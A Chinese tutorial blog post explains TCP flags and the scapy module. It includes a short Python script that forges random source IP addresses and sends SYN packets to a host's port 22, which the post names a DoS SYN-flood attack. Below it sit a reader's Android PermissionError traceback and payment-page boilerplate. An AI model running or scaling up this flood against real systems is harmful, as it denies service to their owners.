33.TCP协议概念/scapy模块doos攻击

本文详细介绍了TCP/IP四层协议中TCP数据包的构成,包括关键的TCP标志位如SYN、FIN等,以及TCP三次握手和四次挥手的过程。同时,深入探讨了scapy模块的使用,该模块可用于构建和发送TCP数据包,实现SYN泛洪等操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

TCP协议概念/scapy模块:


 

1,TCP/IP四层协议:

2,TCP数据包的构成:

  • TCP FLAGS:TCP数据包标志位
  1. U:URG,紧急比特
  2. A:ACK,确认比特
  3. P:PSH,推送比特
  4. S:SYN,同步比特:这个是一个连接请求的数据包,代表着我要主动连接对方
  5. F:FIN,终止比特:当我要和对方断开连接
  6. R:RST,复位比特:代表重新建立连接

3,tcp三次握手:

4,四次挥手:

 

5,scapy模块

  • 作用是用来doos攻击,SYN泛洪
  • scapy模块
  1. 构建TCP数据包
  • 安装scapy
  1. pip3 install scapy
from random import randint
from scapy.all import *
for var in range(20):
	random_ip = '%s.%s.%s.%s' % (randint(1,255),randint(1,255),randint(1,255),randint(1,255))
	random_port = 23333
	data = IP(dst='192.168.137.130',src=random_ip) / TCP(dport=22,sport=random_port,flags='S') #SYN TCP数据包
	send(data) #发送  

运行结果:  

 

 

转载于:https://www.cnblogs.com/zhangan/p/10127840.html

Traceback (most recent call last): File "/data/user/0/com.cscjapp.python/files/ide_files/ide_run.py", line 31, in <module> start(fakepyfile,mainpyfile) File "/data/user/0/com.cscjapp.python/files/ide_files/ide_run.py", line 30, in start exec(open(mainpyfile).read(), __main__.__dict__) File "<string>", line 2, in <module> File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/all.py", line 16, in <module> from scapy.arch import * File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/arch/__init__.py", line 172, in <module> _set_conf_sockets() # Apply config ^^^^^^^^^^^^^^^^^^^ File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/config.py", line 826, in _set_conf_sockets conf.ifaces.reload() File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/interfaces.py", line 255, in reload self._reload_provs() File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/interfaces.py", line 251, in _reload_provs self._load(prov.reload(), prov) ^^^^^^^^^^^^^ File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/interfaces.py", line 51, in reload return self.load() ^^^^^^^^^^^ File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/arch/linux/__init__.py", line 166, in load for iface in _get_if_list().values(): ^^^^^^^^^^^^^^ File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/arch/linux/rtnetlink.py", line 798, in _get_if_list results = _sr1_rtrequest( ^^^^^^^^^^^^^^^ File "/data/user/0/com.cscjapp.python/files/aarch64-linux-android/lib/python3.11/site-packages/scapy/arch/linux/rtnetlink.py", line 723, in _sr1_rtrequest sock.bind((0, 0)) # bind to kernel ^^^^^^^^^^^^^^^^^ PermissionError: [Errno 13] Permission denied /storage/emulated/0/Android/data/com.cscjapp.python/files/CJ_IDE/PythonProject/默认目录/Helloworld/src $是什么错误?
06-10
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值